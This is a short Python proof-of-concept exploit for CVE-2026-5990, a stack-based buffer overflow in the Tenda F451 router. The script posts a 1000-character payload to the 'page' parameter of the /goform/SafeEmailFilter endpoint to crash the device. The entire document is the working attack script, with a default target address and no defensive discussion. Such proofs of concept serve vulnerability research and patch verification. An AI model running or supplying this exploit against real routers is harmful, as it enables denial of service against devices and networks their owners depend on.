CVE-2026-5990

import requests def exploit_tenda_f451(target_ip): """ PoC for CVE-2026-5990 Stack-based Buffer Overflow in Tenda F451. This script sends a malicious payload to the 'page' parameter. """ url = f"http://{target_ip}/goform/SafeEmailFilter" # Construct a large payload to trigger the buffer overflow # Adjust the length based on specific buffer size (e.g., 1000 bytes) payload = "A" * 1000 data = { "page": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"[+] Response status code: {response.status_code}") print("[+] Exploit sent. Check the target device for crash.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_tenda_f451(target)

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